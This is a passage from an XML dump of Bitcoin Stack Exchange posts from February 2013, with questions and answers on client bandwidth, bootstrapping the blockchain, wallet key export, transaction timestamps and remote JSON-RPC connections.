spent, but unlike normal transactions, it doesn't need to provide any inputs. However, the amount transferred must be equal to the total transaction fees plus the block subsidy.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What other transactions are included in the Merkle root?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Every valid transaction that your bitcoin client knows about is included.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I suppose that the pool gives different headers which include different transactions to pool members. Right? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you mean by that - the coinbase transaction is different, because the pool doesn't want multiple miners to duplicate work. But in all cases, the coinbase transaction gives the bitcoins to the pool. Actually solving a block is worth just as much to the individual miner as solving a share.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What happens to the transactions that are not included. Are they included in future blocks?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sometimes. Maybe those transactions are forgotten. It's called the &quot;memory pool&quot; for a reason - it's forgotten on shutdown.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-02-18T00:23:15.697" LastActivityDate="2013-02-18T00:23:15.697" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7750" PostTypeId="1" CreationDate="2013-02-18T03:04:10.643" Score="20" ViewCount="8992" Body="&lt;p&gt;I've just finished the intial blockchain download/verify in my BitcoinQt client (17 hours..) and I now see that BitcoinQt is happily eating all of my upstream bandwidth. (About 110kByte/sec on my ADSL line.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to be applying bandwidth limits to the app using &lt;a href=&quot;http://www.hanynet.com/waterroof/&quot;&gt;Waterroof&lt;/a&gt;, which should probably work --&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But shouldn't there be a built-in method for BitcoinQt to be more polite about its bandwidth consumption?  &lt;/p&gt;&#xA;" OwnerUserId="2960" LastEditorUserId="2960" LastEditDate="2013-02-20T00:23:47.417" LastActivityDate="2022-02-18T14:17:36.153" Title="How can I limit bandwidth usage in Bitcoin-qt client?" Tags="|bitcoin-core|bandwidth|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7752" PostTypeId="1" CreationDate="2013-02-18T05:46:56.447" Score="5" ViewCount="773" Body="&lt;p&gt;I want to cash deposit directly to my Bitcoin Address, but the option to do so has disappeared from BitInstant. Any ideas as to why? Do you think it'll ever be back?&lt;/p&gt;&#xA;" OwnerUserId="2965" LastActivityDate="2013-05-28T14:51:06.400" Title="BitInstant &quot;Bitcoin Address&quot; option is down!" Tags="|bitinstant|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7753" PostTypeId="1" CreationDate="2013-02-18T08:42:04.817" Score="2" ViewCount="140" Body="&lt;p&gt;Fist bitcoins in, First out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this assumption allow individual bitcoin tracking possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Addresses A, B and C each has 50 BTC&#xA;&#xA;Transactions, &#xA;&#xA;  tx1 - A &amp;gt; D - 10 BTC (D - 10 BTC)&#xA;  tx2 - B &amp;gt; D - 15 BTC (D - 25 BTC)&#xA;  tx3 - C &amp;gt; D - 20 BTC (D - 45 BTC)&#xA;&#xA;  tx4 - D &amp;gt; E - 20 BTC (E - 20 BTC, D - 25 BTC)&#xA;&#xA;  Now,&#xA;    D has none of BTC received from A, 5 BTC from B and 20 BTC from C&#xA;    E, fist 10 BTC was received from A, next 10 BTC was received from B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2013-02-18T09:08:13.027" Title="Will this assumption allow individual bitcoin tracking possible?" Tags="|transactions|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7754" PostTypeId="2" ParentId="7753" CreationDate="2013-02-18T09:08:13.027" Score="3" Body="&lt;p&gt;This is only true if one does not mix transactions. Otherwise you will have coins that are for example 50% from source A, 10% from B, 40% from C and so forth.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-18T09:08:13.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7755" PostTypeId="2" ParentId="7752" CreationDate="2013-02-18T12:07:00.080" Score="2" Body="&lt;p&gt;From what I heard browsing &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/&quot; rel=&quot;nofollow&quot;&gt;/r/Bitcoin&lt;/a&gt;, it might be due to BitInstant running out of coins in their hot wallet to fulfil transactions. However, this question would be best asked to BitInstant directly.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-18T12:07:00.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7766" PostTypeId="2" ParentId="5876" CreationDate="2013-02-18T20:28:35.887" Score="3" Body="&lt;p&gt;To avoid having to redownload everything from the p2p network, which may be slow as you have to validate the whole chain, you can download the bootstrap chain file &lt;a href=&quot;http://eu2.bitcoincharts.com/blockchain/&quot; rel=&quot;nofollow noreferrer&quot;&gt;from bitcoincharts.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also available through bittorrent, which may be faster for you. Here's a copy of the message posted above and in the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=117982.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;forums&lt;/a&gt; that authenticate the file (through GPG).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-----BEGIN PGP SIGNED MESSAGE-----&#xA;Hash: SHA1&#xA;&#xA;&#xA;Torrent info hash: 0bb0521942f586ed96203c6f4d136324756f8a9a&#xA;Torrent magnet link:&#xA;magnet:?xt=urn:btih:0bb0521942f586ed96203c6f4d136324756f8a9a&amp;amp;dn=bootstrap.dat&#xA;&#xA;Filename: bootstrap.dat&#xA;Byte size: 2491771562&#xA;SHA1: e70ca90775dfdb13fd0014425805a0bdf4a31677&#xA;SHA256: a3f258e7af030165360596e4cb0b9beb24b4ce97352c22e65349b89ad5fc5d3e&#xA;&#xA;-----BEGIN PGP SIGNATURE-----&#xA;Version: GnuPG v1.4.12 (GNU/Linux)&#xA;&#xA;iQIVAwUBUHeHSdodwg8tvwyoAQJ2DA/8CcINxuD7DzLv96fE+R6GVLvRASLcy0ig&#xA;8d2YyDbJ9r9dPVODDPGC7I/ooDVJAcQsqdrLYHST2DTCt6c4zZ/7iXzFEahRopsH&#xA;PmxYOgkHie7438nqpmH9uC+d5t0pPHUFS6dBSBgdSVPaLfS86fToXrV/bx30rHBi&#xA;60FJz5A99aXrrrUny0cGIjafqVv8XjqNoA1lzjsRjeiu3EgTm8Ibcr8ZI6DLp/80&#xA;Siv3potlOArTI6sxjc/vKUa6nZILnW8mKdwc/d8LUdRaBPoo71c6Q4YOSQh/OVht&#xA;B1rZ8NEX/2SlS3PbhhMELcY/2wvgPGovkIqOgiw6dDIkhsD8iJAD1DqCkZbsq9S1&#xA;kKobGmceuQBcyRUCavkafdHJpZzyCAKLnQLV3FvZ3O4QZQVmYGPYn1H8a5UFRDQq&#xA;LGKcQmwm4Cet7162woEiNAaR9p7HvTJ4LV2uEvY56m2GfZbToCk2aiycO+v6Fm8K&#xA;ZY8cX+cbEOW3AM5rYVa6Rks029LIrFFzIutlo5MJ7uc7oMqciWrcsPtEh59QY+yJ&#xA;SENk6cLyWCAHl4jsvUTBvdNGy3fHKSEyQOjG5cmAMXiJTX/iiB/DJf7koTZAj4ub&#xA;wez3/HwuenMYjHgjsVXJAXprcEpTjpEcicg4W0MIDw07dPjol0dnRRNpwfJ1HMRc&#xA;dlTqLwlXqgs=&#xA;=uwRB&#xA;-----END PGP SIGNATURE-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, here's a magnet link that includes trackers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;magnet:?xt=urn:btih:0bb0521942f586ed96203c6f4d136324756f8a9a&amp;amp;dn=bootstrap.dat&amp;amp;tr=udp://tracker.openbittorrent.com:80&amp;amp;tr=udp://tracker.publicbt.com:80&amp;amp;tr=udp://tracker.ccc.de:80&amp;amp;tr=udp://tracker.istole.it:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, as explained in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4145/can-i-regenerate-blkindex-dat-from-blk0001-dat&quot;&gt;this answer&lt;/a&gt;, you can also simply discard the index and regenerate it using the existing ondisk &lt;code&gt;blk000?.dat&lt;/code&gt; files, using &lt;code&gt;-loadblock=blk0001.dat&lt;/code&gt; and by deleting &lt;code&gt;blkindex.dat&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: note that with bitcoind 0.8 and up, it's actually easier and faster to just download the block chain from the network directly, so don't bother with the bittorrent/manual download.&lt;/p&gt;&#xA;" OwnerUserId="2978" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-04-30T04:10:11.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7767" PostTypeId="2" ParentId="7640" CreationDate="2013-02-18T20:34:53.747" Score="0" Body="&lt;p&gt;Try to look in the &lt;code&gt;~/.bitcoin/db.log&lt;/code&gt; file for more information. It is likely that your only solution is to remove the block database (either &lt;code&gt;blk0001.dat&lt;/code&gt;,  &lt;code&gt;blk0002.dat&lt;/code&gt; or &lt;code&gt;blkindex.dat&lt;/code&gt;). &lt;strong&gt;DO NOT REMOVE YOUR&lt;/strong&gt; &lt;code&gt;wallet.dat&lt;/code&gt; file!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means you will have to download the whole block chain again. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5876/how-can-i-recover-from-a-corrupted-blkindex-dat-on-ubuntu-12-10&quot;&gt;This other question&lt;/a&gt; has tips on how to speed up that download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this may just be another case of the question asked &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5876/how-can-i-recover-from-a-corrupted-blkindex-dat-on-ubuntu-12-10&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2978" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-02-18T20:34:53.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7768" PostTypeId="1" CreationDate="2013-02-18T21:37:22.300" Score="6" ViewCount="1445" Body="&lt;p&gt;I see lots of people talking about buying bitcoins, mining bitcoins, but no one spending.&#xA;Maybe I am getting it wrong, but unless I can get paid with bitcoins, this seems to be pointless in my perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to get paid in bitcoins, but that's not what I am asking, so, as a freelancer sysadmin and developer, where can I get paid in bitcoins? How can I find clients willing to pay me with bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="2977" LastActivityDate="2014-08-05T01:54:37.090" Title="Is anyone actually spending bitcoins?" Tags="|spending|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7769" PostTypeId="2" ParentId="7768" CreationDate="2013-02-18T21:53:38.890" Score="7" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Trade&quot;&gt;https://en.bitcoin.it/wiki/Trade&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's enough places to spend your coins and there are job boards where you can advertise your services. Bitcointalk is also a good place check out.&lt;/p&gt;&#xA;" OwnerUserId="2980" LastActivityDate="2013-02-18T21:53:38.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7771" PostTypeId="2" ParentId="7768" CreationDate="2013-02-18T22:39:20.657" Score="4" Body="&lt;p&gt;That's because storing, mining, and buying bitcoins present new challenges. However, getting paid in bitcoins is pretty much the same as getting paid in USD, gold, or Ithica Hours; you need to make a service people want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see people accepting bitcoin exclusively for a long time - Even if 50% of the population is willing to use bitcoin, that's still a significant amount of the market that you're ignoring.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-18T22:39:20.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7772" PostTypeId="2" ParentId="7768" CreationDate="2013-02-18T23:21:55.963" Score="1" Body="&lt;p&gt;Specific types of businesses can use Bitcoin to either reduce processing costs/fees, or improve the ease of service. It also avoids the need for the user to provide credit card or other personal details, which a lot of people are wary of doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshidice is a good example. It's very easy to make a bet, as it just requires sending bitcoins to a particular address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;coindl.com is another example, which lets you purchase music (and more) with bitcoins. There's no need to create an account; just make your payment and download the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;High foreign exchange fees can be reduced by using Bitcoin exchanges to make an intermediate step through Bitcoin (convert currency1 to bitcoin and then bitcoin to currency2). This can reduce an 8% (or higher loss) to as little as 1%. This might not be the kind of spending you envisage, but it's nonetheless beneficial to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You're probably best to avoid trying to receive bitcoins in return for things like sysadmin work. If you end goal is to get bitcoins, you will likely get more of them by earning cash then just converting some or all of it to bitcoins.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm saying is that rather than going to lots of effort to use Bitcoin for something that's difficult to achieve, you're better off using Bitcoin for what it's great for.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2013-02-19T00:43:52.460" LastActivityDate="2013-02-19T00:43:52.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7773" PostTypeId="2" ParentId="7768" CreationDate="2013-02-18T23:54:21.047" Score="3" Body="&lt;p&gt;Here's a list I am trying to maintain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitcointrading.com/forum/spend-bitcoins/online-stores-accepting-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcointrading.com/forum/spend-bitcoins/online-stores-accepting-bitcoins/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2982" LastActivityDate="2013-02-18T23:54:21.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7780" PostTypeId="1" AcceptedAnswerId="7794" CreationDate="2013-02-19T11:43:24.717" Score="2" ViewCount="625" Body="&lt;p&gt;I've been running a Bitcoin-qt client (v0.7.2 beta) on my Mac for over 24 hours, with blockchain fully sync'ed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked &lt;a href=&quot;http://blockchain.info/connected-nodes&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/connected-nodes&lt;/a&gt; at various times for my IP address. In the first few hours my IP appeared in the list. Then it disappeared for maybe 10 or 15 hours. Currently, it's back in the list, but showing a connection time of only 62 minutes, despite my network connection and IP address being completely stable, and a steady stream of inbound &amp;amp; outbound network traffic to/from the Bitcoin-qt client during the entire &gt;28 hour period since I started it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would my IP show up at &lt;a href=&quot;http://blockchain.info/connected-nodes&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/connected-nodes&lt;/a&gt; for a certain time, then disappear from the list, then re-appear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(It also appears that, as of this writing (2013-02-19  18:02:30 UTC,) &lt;em&gt;no&lt;/em&gt; client on the list has a connection time of more than about 340-360 minutes. I'd expect it to be in the thousands to tens of thousands of minutes for at least some clients.)&lt;/p&gt;&#xA;" OwnerUserId="2960" LastEditorUserId="2960" LastEditDate="2013-02-19T18:21:29.710" LastActivityDate="2013-02-19T23:48:53.923" Title="My bitcoin-qt client connection status and uptime at http://blockchain.info/connected-nodes does not show reliably - why?" Tags="|bitcoin-core|blockchain.info|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7787" PostTypeId="1" AcceptedAnswerId="7806" CreationDate="2013-02-19T15:30:01.407" Score="3" ViewCount="5013" Body="&lt;p&gt;Haven't opened my wallet in a while so it's not in sync with the network. 5400 blocks remaining as I write. The wallet is not encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Received some bitcoins to my address in this wallet. Now I want to get the private key of the address and import it to my wallet on blockchain.info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output of pywallet's dumpwallet command shows a lot of address/private key pairs but none of them are the address I see on my address book which I received the bitcoins to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Launched BitcoinQT's debug window, tried the dumpprivkey command. Result: Private key for address is not known (code -4)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2306" LastEditDate="2017-03-01T17:25:54.123" LastActivityDate="2021-10-29T02:08:12.050" Title="Dumpprivkey or dumpwallet won't show my private key for the address in my wallet" Tags="|address|private-key|rpc-error-4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7788" PostTypeId="1" AcceptedAnswerId="7803" CreationDate="2013-02-19T20:30:31.767" Score="8" ViewCount="5677" Body="&lt;p&gt;This may be a very simple question to answer, but I haven't been able to quickly find it.  Regardless, if you were to deconstruct a transaction in the blockchain, and pull out the time value of the transaction, what format is the time stamp in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if you were to pull out the draw time value, how can I convert it to a meaningful value?&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2017-01-19T20:41:48.690" Title="What format is the time of a Bitcoin transaction stored in?" Tags="|transactions|blockchain|timestamp|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7789" PostTypeId="2" ParentId="7788" CreationDate="2013-02-19T20:37:07.183" Score="4" Body="&lt;p&gt;Transactions do not have a time per se. They do have a &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow&quot;&gt;lock_time&lt;/a&gt; which is currently not used anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocks do have timestamps, &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#block&quot; rel=&quot;nofollow&quot;&gt;bytes 69-72&lt;/a&gt; after trimming the protocol headers and checksums. Some may say that a transactions time is the time of the block that included it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another interpretation (the one used by blockchain.info) is simply the first time the transaction was received by the peer.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-02-19T20:37:07.183" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7790" PostTypeId="1" CreationDate="2013-02-19T21:52:23.810" Score="2" ViewCount="1358" Body="&lt;p&gt;I'm new to this bitcoin thing-I am trying to find out what is the conversion of bitcoins to US money? I.E. a bitcoin is equal to how much US dollars? Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="2999" LastEditorUserId="5406" LastEditDate="2017-12-24T04:49:44.803" LastActivityDate="2017-12-24T04:49:44.803" Title="How much are bitcoins worth?" Tags="|exchange-rate|" AnswerCount="2" CommentCount="4" ClosedDate="2013-02-20T13:51:03.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="7791" PostTypeId="2" ParentId="7790" CreationDate="2013-02-19T22:22:57.297" Score="4" Body="&lt;p&gt;The best place to find bitcoin's current value is probably &lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#rg60ztgSzm1g10zm2g25zv&quot; rel=&quot;nofollow&quot; title=&quot;bitcoincharts&quot;&gt;bitcoincharts&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="129" LastEditorUserId="196" LastEditDate="2013-02-20T12:17:03.327" LastActivityDate="2013-02-20T12:17:03.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7792" PostTypeId="1" AcceptedAnswerId="7796" CreationDate="2013-02-19T22:24:50.287" Score="3" ViewCount="2530" Body="&lt;p&gt;Title says it all - can anyone walk me through setting this up on a mac? I ran the linux python install script but i'm guessing i'm missing a few dependencies as it failed on me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: there are numerous errors, listed here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Reading http://tmrc.mit.edu/mirror/twisted/Twisted/9.0/&#xA;Download error on http://tmrc.mit.edu/mirror/twisted/Twisted/9.0/: [Errno 61] Connection refused -- Some packages may not be found!&#xA;Reading http://tmrc.mit.edu/mirror/twisted/Twisted/10.0/&#xA;Download error on http://tmrc.mit.edu/mirror/twisted/Twisted/10.0/: [Errno 61] Connection refused -- Some packages may not be found!&#xA;Reading http://twistedmatrix.com/projects/core/&#xA;Reading http://tmrc.mit.edu/mirror/twisted/Twisted/8.2/&#xA;Download error on http://tmrc.mit.edu/mirror/twisted/Twisted/8.2/: [Errno 61] Connection refused -- Some packages may not be found!&#xA;Reading http://tmrc.mit.edu/mirror/twisted/Twisted/8.1/&#xA;Download error on http://tmrc.mit.edu/mirror/twisted/Twisted/8.1/: [Errno 61] Connection refused -- Some packages may not be found!&#xA;&#xA;Running Twisted-12.3.0/setup.py -q bdist_egg --dist-dir /tmp/easy_install-OQqo5N/Twisted-12.3.0/egg-dist-tmp-9vucfj&#xA;unable to execute llvm-gcc-4.2: No such file or directory&#xA;unable to execute llvm-gcc-4.2: No such file or directory&#xA;unable to execute llvm-gcc-4.2: No such file or directory&#xA;error: Setup script exited with error: command 'llvm-gcc-4.2' failed with exit status 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="129" LastEditorUserId="5406" LastEditDate="2016-04-17T20:10:31.413" LastActivityDate="2016-04-17T20:10:31.413" Title="Get the slush stratum proxy working on a mac" Tags="|miner-configuration|mac|stratum|proxy|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7793" PostTypeId="2" ParentId="7790" CreationDate="2013-02-19T23:27:37.307" Score="1" Body="&lt;p&gt;The largest bitcoin exchange is MtGox: the MtGox &quot;last&quot; value is usually what people refer to when they say &quot;a bitcoin is worth x US Dollars&quot;.  Go to &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;https://mtgox.com/&lt;/a&gt; and look at the very top of the page for this value along with a few other trading statistics.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can buy/sell bitcoins at different rates via other exchanges, but you'll probably get the best deal on MtGox.  One potential downside is that MtGox requires you to verify your account in order to trade- this requires a government-issued ID and proof of address such as a utility bill.  Other sites will sell/buy bitcoins to/from you without this information but may charge you more/give you less than you could trade for at MtGox.&lt;/p&gt;&#xA;" OwnerUserId="3001" LastEditorUserId="196" LastEditDate="2013-02-20T12:16:23.937" LastActivityDate="2013-02-20T12:16:23.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7794" PostTypeId="2" ParentId="7780" CreationDate="2013-02-19T23:42:52.090" Score="3" Body="&lt;p&gt;The list on &lt;a href=&quot;http://blockchain.info/connected-nodes&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/connected-nodes&lt;/a&gt; is just a list of nodes currently connected to that specific business' bitcoind server. It has no connection to the list of all Bitcoin nodes connected to other nodes. This hypothetical list doesn't exist anywhere, for obvious reasons, and would be 10 to 20 times longer than blockchain.info's list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info's server is not authoratative in any way and has no formal connection to the &quot;official&quot; Bitcoin client (bitcoin-qt), the Bitcoin project, or Bitcoin.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the 360 minutes thing, Blockchain.info's bitcoind server probably prunes clients connected for 6 hours for whatever reasons that business has decided to do that. Or perhaps their bitcoind server lost its internet connection momentarily around 6 hours before you checked their connected nodes list.&lt;/p&gt;&#xA;" OwnerUserId="3002" LastEditorUserId="3002" LastEditDate="2013-02-19T23:48:53.923" LastActivityDate="2013-02-19T23:48:53.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7795" PostTypeId="2" ParentId="7707" CreationDate="2013-02-20T00:01:57.623" Score="3" Body="&lt;p&gt;For currency in the form of Ripple IOUs, yes. Anyone can tell at any time the total outstanding value of all IOUs in a given currency for a given issuer. So a gateway could, if it wished to, provide provable reserves relative to its outstanding IOUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, gateways typically also hold fiat that's not in the form of IOUs. Gateways currently use a two-step deposit scheme -- you deposit currency in your gateway account and then you tell them to &quot;withdraw&quot; these funds as Ripple IOUs. The funds in the gateway account that haven't been withdrawn as IOUs are not visible. So there's no way to know what obligations a gateway has that aren't in the form of IOUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A gateway that wanted to operate in this form would probably wind up supporting only a one-step deposit and withdraw system. With this scheme, you specify the Ripple account the IOUs are to go to before you give them any currency and they issue IOUs as soon as the deposit clears. And for withdrawals, you specify where the currency is to go prior to returning the IOUs to the gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe these one-step mechanisms are supported by any gateways yet.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-20T00:01:57.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7796" PostTypeId="2" ParentId="7792" CreationDate="2013-02-20T03:04:10.330" Score="4" Body="&lt;p&gt;So, while Mac includes python it does not include gcc by default, even once you've installed Xcode 4.2 or later. For now, grab that, go to preferences, downloads and get the command line tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a version of Xcode higher than 4.6 is out you'll have to find a new way to install gcc on your mac, as gcc will no longer be included, but I guess that's a question for another stackexchange, and likely a macports or homebrew solution.&lt;/p&gt;&#xA;" OwnerUserId="129" LastEditorUserId="129" LastEditDate="2013-02-20T22:00:25.077" LastActivityDate="2013-02-20T22:00:25.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7797" PostTypeId="1" CreationDate="2013-02-20T03:10:29.597" Score="1" ViewCount="174" Body="&lt;p&gt;I'm looking for business which accept Bitcoin, both online and in my community. Where can I find a list of these? Are there any community-maintained places which enumerate businesses which accept Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="2595" LastActivityDate="2013-02-20T06:39:40.493" Title="Where can I find a list of business which accept Bitcoin?" Tags="|services|merchants|local|" AnswerCount="1" CommentCount="1" ClosedDate="2013-02-20T21:40:03.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="7800" PostTypeId="1" AcceptedAnswerId="7841" CreationDate="2013-02-20T03:47:43.600" Score="5" ViewCount="6600" Body="&lt;p&gt;I have been trying to connect to a remote bitcoind -daemon running server. I can access it with the curl command explained at the end of the page here (&lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)&lt;/a&gt;) by putting in the correct port number, but when I try to call from a remote host, I get a:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl: (7) couldn't connect to host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked with netstat and it looks like bitcoind is listening on the port (otherwise I wouldn't be able to do rpc locally), and accepting all incoming IP addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My bitcoin.config file also allows for all IP addresses and rpc (no ssl, although if anyone has a detailed decscription of how ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also made sure that I opened up a TCP port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the curl command I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --user &amp;lt;user&amp;gt; --data-binary '{&quot;jsonrpc&quot;: &quot;1.0&quot;, &quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;getinfo&quot;, &quot;params&quot;: [] }' &amp;lt;ip address:port&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what else might be wrong?&lt;/p&gt;&#xA;" OwnerUserId="3008" LastEditorUserId="2306" LastEditDate="2013-02-20T08:02:12.533" LastActivityDate="2013-02-21T19:19:24.927" Title="Errors Connecting to Bitcoind Server with RPC" Tags="|bitcoind|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
